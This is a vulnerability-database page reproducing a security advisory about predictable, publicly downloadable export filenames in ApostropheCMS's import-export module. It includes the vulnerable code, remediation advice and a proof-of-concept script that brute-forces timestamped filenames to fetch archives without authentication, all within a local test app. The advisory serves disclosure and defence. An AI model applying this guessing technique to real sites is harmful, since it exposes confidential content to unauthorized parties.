GHSA-5GC8-FRW3-3VQM

Vulnerability from github – Published: 2026-10-21 19:45 – Updated: 2026-10-21 19:45
VLAI
Summary
ApostropheCMS: Exposure of Sensitive Information via predictable export filenames
Details

Summary

When a user exports content through @apostrophecms/import-export, the module copies the generated archive into uploadfs at /exports/ and returns a public URL under /uploads/exports/. The filename is fully deterministic: site shortName, document type, a YYYYMMDDHHmmss timestamp, and the format extension. There is no secret token.

Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises importExport.export.expiration). That is a different model from attachment URLs, which rely on hard-to-guess IDs.

Sites that disable export, store uploads on a private backend with no anonymous read, or serve /uploads only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout.

Import-only workflows and imports themselves are out of scope; this is specific to the export download URL.

Affected configurations

All of the following must apply:

  1. The @apostrophecms/import-export module is enabled and export is allowed for at least one page or piece type, and
  2. Export files are served the usual way: copyIn to /exports/… and delivery via the public uploads URL (default local uploadfs or any deployment that exposes the same path without per-file auth).

If export is turned off per type or globally, or /uploads is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names.

Remediation

  • Put a high-entropy component in the export filename (e.g. apos.util.generateId()), or
  • Stop publishing exports on a world-readable URL—serve downloads through an authenticated route and keep objects in a private prefix until then, or
  • Document that importExport.export.expiration must stay short and treat /uploads/exports/ as sensitive (weak on its own).

Details

Technical details

exportFile() in packages/import-export/lib/methods/export.js builds the name and publishes it:

const date = dayjs().format('YYYYMMDDHHmmss');
const filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;
const downloadPath = path.join('/exports', filename);
await copyIn(filepath, downloadPath);

The admin UI sends type as the module name (e.g. article), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After expiration (default 1000 * 60 * 10 ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.

Proof of concept

The script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw fetch. It exits non-zero on failure.

Requirements: Node 18+, pnpm install at the monorepo root (so apostrophe and @apostrophecms/import-export resolve). Set APOSTROPHE_ROOT to the checkout path.

#!/usr/bin/env bash
set -euo pipefail

# --- config ---
APOSTROPHE_ROOT="${APOSTROPHE_ROOT:-}"
if [[ -z "${APOSTROPHE_ROOT}" || ! -f "${APOSTROPHE_ROOT}/packages/import-export/package.json" ]]; then
  echo "Set APOSTROPHE_ROOT to your apostrophe monorepo checkout." >&2
  exit 1
fi

export APOS_TEST_DB_PROTOCOL=sqlite
cd "${APOSTROPHE_ROOT}/packages/import-export"

# --- run embedded PoC (no extra repo files) ---
node <<'NODE'
const assert = require('node:assert/strict');
const path = require('node:path');
const dayjs = require('dayjs');
const t = require('apostrophe/test-lib/util.js');

(async () => {
  let apos;
  const shortName = 'poc-export-site';
  const exportsPath = (root) => path.join(root, 'public/uploads/exports');

  try {
    apos = await t.create({
      root: module,
      testModule: true,
      shortName,
      modules: {
        '@apostrophecms/express': {
          options: { session: { secret: 'poc-export-secret' } }
        },
        '@apostrophecms/import-export': {
          options: {
            importExport: { export: { expiration: 60 * 1000 } }
          }
        },
        '@apostrophecms/uploadfs': { options: { storage: 'local' } },
        'home-page': { extend: '@apostrophecms/page-type' },
        article: {
          extend: '@apostrophecms/piece-type',
          options: { alias: 'article', autopublish: true }
        }
      }
    });

    const importExport = apos.modules['@apostrophecms/import-export'];
    const req = apos.task.getReq();
    await apos.article.insert(req, {
      ...apos.article.newInstance(),
      title: 'GHSA PoC confidential piece'
    });

    const articles = await apos.article.find(req).toArray();
    assert.ok(articles.length > 0);

    const exportStartedAt = dayjs();
    req.body = {
      _ids: articles.map((d) => d._id),
      formatName: 'gzip',
      type: 'article'
    };

    const { url: downloadUrl } = await importExport.export(req, apos.article);
    const fileName = path.basename(downloadUrl);
    const prefix = `${shortName}-article-export-`;
    assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));

    const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length);
    const onDisk = path.join(exportsPath(apos.rootDir), fileName);
    assert.ok(require('node:fs').existsSync(onDisk));

    const anon = await apos.http.get(downloadUrl, { fullResponse: true });
    assert.equal(anon.status, 200);
    assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);

    let bruteForced = null;
    const center = exportStartedAt.startOf('second');
    for (let offset = -3; offset <= 3; offset++) {
      const ts = center.add(offset, 'second').format('YYYYMMDDHHmmss');
      const candidate = `/uploads/exports/${shortName}-article-export-${ts}.tar.gz`;
      try {
        const probe = await apos.http.get(candidate, { fullResponse: true });
        if (probe.status === 200) {
          bruteForced = candidate;
          break;
        }
      } catch (e) {
        if (e.status !== 404) throw e;
      }
    }
    assert.ok(bruteForced, 'brute force within ±3s failed');

    const express = apos.modules['@apostrophecms/express'];
    const base = `http://${express.address}:${express.port}`;
    const ext = await fetch(`${base}${bruteForced}`);
    assert.equal(ext.status, 200);
    const bytes = await ext.arrayBuffer();
    assert.ok(bytes.byteLength > 100);

    console.log('OK: unauthenticated download', {
      fileName,
      bruteForced,
      bytes: bytes.byteLength,
      listenUrl: base
    });
  } finally {
    if (apos) {
      await t.destroy(apos);
    }
  }
})().catch((err) => {
  console.error(err);
  process.exit(1);
});
NODE

Expected output: a line similar to
OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: <number>, listenUrl: 'http://127.0.0.1:…' }

Impact

  • Confidentiality: An unauthenticated remote party can obtain a full export tarball (documents, metadata, attachment references, and bundled files for gzip export) that was meant for the editor who ran export. Content matches what that user was allowed to export, but the downloader does not need their session.
  • Not in scope: The attacker cannot trigger export on their own (that still requires a logged-in user with export rights). Integrity and availability of the site are unchanged.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apostrophecms/import-export"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112953"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T19:45:03Z",
    "nvd_published_at": "2026-10-20T16:17:06Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.\n\nAnyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.\n\nSites that disable export, store uploads on a private backend with no anonymous read, or serve `/uploads` only behind authentication are not hit by the network download step\u2014but the predictable naming is still a design flaw for the default local/public uploadfs layout.\n\nImport-only workflows and imports themselves are out of scope; this is specific to the export download URL.\n\n## Affected configurations\n\nAll of the following must apply:\n\n1. The `@apostrophecms/import-export` module is enabled and export is allowed for at least one page or piece type, **and**\n2. Export files are served the usual way: `copyIn` to `/exports/\u2026` and delivery via the public `uploads` URL (default local uploadfs or any deployment that exposes the same path without per-file auth).\n\nIf export is turned off per type or globally, or `/uploads` is not world-readable, an anonymous attacker cannot pull the file over HTTP\u2014but a co-resident attacker with filesystem or bucket listing access would still see guessable names.\n\n## Remediation\n\n- Put a high-entropy component in the export filename (e.g. `apos.util.generateId()`), **or**\n- Stop publishing exports on a world-readable URL\u2014serve downloads through an authenticated route and keep objects in a private prefix until then, **or**\n- Document that `importExport.export.expiration` must stay short and treat `/uploads/exports/` as sensitive (weak on its own).\n\n### Details\n\n## Technical details\n\n`exportFile()` in `packages/import-export/lib/methods/export.js` builds the name and publishes it:\n\n```javascript\nconst date = dayjs().format(\u0027YYYYMMDDHHmmss\u0027);\nconst filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;\nconst downloadPath = path.join(\u0027/exports\u0027, filename);\nawait copyIn(filepath, downloadPath);\n```\n\nThe admin UI sends `type` as the module name (e.g. `article`), which matches the filename. The download URL is only shown in the exporter\u2019s notification; nothing binds the HTTP request to that user afterward. After `expiration` (default `1000 * 60 * 10` ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.\n\n\n## Proof of concept\n\nThe script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session\u2014first by path guessing, then with raw `fetch`. It exits non-zero on failure.\n\n**Requirements:** Node 18+, `pnpm install` at the monorepo root (so `apostrophe` and `@apostrophecms/import-export` resolve). Set `APOSTROPHE_ROOT` to the checkout path.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# --- config ---\nAPOSTROPHE_ROOT=\"${APOSTROPHE_ROOT:-}\"\nif [[ -z \"${APOSTROPHE_ROOT}\" || ! -f \"${APOSTROPHE_ROOT}/packages/import-export/package.json\" ]]; then\n  echo \"Set APOSTROPHE_ROOT to your apostrophe monorepo checkout.\" \u003e\u00262\n  exit 1\nfi\n\nexport APOS_TEST_DB_PROTOCOL=sqlite\ncd \"${APOSTROPHE_ROOT}/packages/import-export\"\n\n# --- run embedded PoC (no extra repo files) ---\nnode \u003c\u003c\u0027NODE\u0027\nconst assert = require(\u0027node:assert/strict\u0027);\nconst path = require(\u0027node:path\u0027);\nconst dayjs = require(\u0027dayjs\u0027);\nconst t = require(\u0027apostrophe/test-lib/util.js\u0027);\n\n(async () =\u003e {\n  let apos;\n  const shortName = \u0027poc-export-site\u0027;\n  const exportsPath = (root) =\u003e path.join(root, \u0027public/uploads/exports\u0027);\n\n  try {\n    apos = await t.create({\n      root: module,\n      testModule: true,\n      shortName,\n      modules: {\n        \u0027@apostrophecms/express\u0027: {\n          options: { session: { secret: \u0027poc-export-secret\u0027 } }\n        },\n        \u0027@apostrophecms/import-export\u0027: {\n          options: {\n            importExport: { export: { expiration: 60 * 1000 } }\n          }\n        },\n        \u0027@apostrophecms/uploadfs\u0027: { options: { storage: \u0027local\u0027 } },\n        \u0027home-page\u0027: { extend: \u0027@apostrophecms/page-type\u0027 },\n        article: {\n          extend: \u0027@apostrophecms/piece-type\u0027,\n          options: { alias: \u0027article\u0027, autopublish: true }\n        }\n      }\n    });\n\n    const importExport = apos.modules[\u0027@apostrophecms/import-export\u0027];\n    const req = apos.task.getReq();\n    await apos.article.insert(req, {\n      ...apos.article.newInstance(),\n      title: \u0027GHSA PoC confidential piece\u0027\n    });\n\n    const articles = await apos.article.find(req).toArray();\n    assert.ok(articles.length \u003e 0);\n\n    const exportStartedAt = dayjs();\n    req.body = {\n      _ids: articles.map((d) =\u003e d._id),\n      formatName: \u0027gzip\u0027,\n      type: \u0027article\u0027\n    };\n\n    const { url: downloadUrl } = await importExport.export(req, apos.article);\n    const fileName = path.basename(downloadUrl);\n    const prefix = `${shortName}-article-export-`;\n    assert.ok(fileName.startsWith(prefix) \u0026\u0026 fileName.endsWith(\u0027.tar.gz\u0027));\n\n    const timestamp = fileName.slice(prefix.length, -\u0027.tar.gz\u0027.length);\n    const onDisk = path.join(exportsPath(apos.rootDir), fileName);\n    assert.ok(require(\u0027node:fs\u0027).existsSync(onDisk));\n\n    const anon = await apos.http.get(downloadUrl, { fullResponse: true });\n    assert.equal(anon.status, 200);\n    assert.ok(Number(anon.headers[\u0027content-length\u0027] || 0) \u003e 0 || anon.body?.length \u003e 0);\n\n    let bruteForced = null;\n    const center = exportStartedAt.startOf(\u0027second\u0027);\n    for (let offset = -3; offset \u003c= 3; offset++) {\n      const ts = center.add(offset, \u0027second\u0027).format(\u0027YYYYMMDDHHmmss\u0027);\n      const candidate = `/uploads/exports/${shortName}-article-export-${ts}.tar.gz`;\n      try {\n        const probe = await apos.http.get(candidate, { fullResponse: true });\n        if (probe.status === 200) {\n          bruteForced = candidate;\n          break;\n        }\n      } catch (e) {\n        if (e.status !== 404) throw e;\n      }\n    }\n    assert.ok(bruteForced, \u0027brute force within \u00b13s failed\u0027);\n\n    const express = apos.modules[\u0027@apostrophecms/express\u0027];\n    const base = `http://${express.address}:${express.port}`;\n    const ext = await fetch(`${base}${bruteForced}`);\n    assert.equal(ext.status, 200);\n    const bytes = await ext.arrayBuffer();\n    assert.ok(bytes.byteLength \u003e 100);\n\n    console.log(\u0027OK: unauthenticated download\u0027, {\n      fileName,\n      bruteForced,\n      bytes: bytes.byteLength,\n      listenUrl: base\n    });\n  } finally {\n    if (apos) {\n      await t.destroy(apos);\n    }\n  }\n})().catch((err) =\u003e {\n  console.error(err);\n  process.exit(1);\n});\nNODE\n```\n\n**Expected output:** a line similar to  \n`OK: unauthenticated download { fileName: \u0027poc-export-site-article-export-\u2026.tar.gz\u0027, \u2026, bytes: \u003cnumber\u003e, listenUrl: \u0027http://127.0.0.1:\u2026\u0027 }`\n\n\n## Impact\n\n- **Confidentiality:** An unauthenticated remote party can obtain a full export tarball (documents, metadata, attachment references, and bundled files for gzip export) that was meant for the editor who ran export. Content matches what that user was allowed to export, but the downloader does not need their session.\n- **Not in scope:** The attacker cannot trigger export on their own (that still requires a logged-in user with export rights). Integrity and availability of the site are unchanged.",
  "id": "GHSA-5gc8-frw3-3vqm",
  "modified": "2026-10-21T19:45:03Z",
  "published": "2026-10-21T19:45:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-5gc8-frw3-3vqm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112953"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/@apostrophecms/import-export@3.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ApostropheCMS: Exposure of Sensitive Information via predictable export filenames"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.